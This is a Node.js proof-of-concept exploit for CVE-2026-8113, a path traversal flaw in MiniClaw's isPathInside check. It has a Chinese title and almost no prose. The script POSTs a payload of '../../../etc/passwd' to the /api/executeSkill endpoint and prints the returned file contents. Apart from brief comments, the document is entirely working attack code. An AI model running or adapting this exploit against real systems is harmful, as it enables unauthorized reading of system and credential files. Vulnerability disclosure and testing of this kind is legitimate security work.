CVE-2026-8113 MiniClaw路径遍历漏洞

// PoC for CVE-2026-8113: Path Traversal in MiniClaw // This script demonstrates how an attacker could exploit the isPathInside flaw. const http = require('http'); const options = { hostname: 'localhost', port: 8080, path: '/api/executeSkill', method: 'POST', headers: { 'Content-Type': 'application/json' } }; // The payload uses '../' to traverse out of the intended directory const maliciousPayload = JSON.stringify({ script: '../../../etc/passwd' }); const req = http.request(options, (res) => { console.log(`Status: ${res.statusCode}`); res.on('data', (d) => { process.stdout.write(d); }); }); req.on('error', (error) => { console.error(error); }); req.write(maliciousPayload); req.end();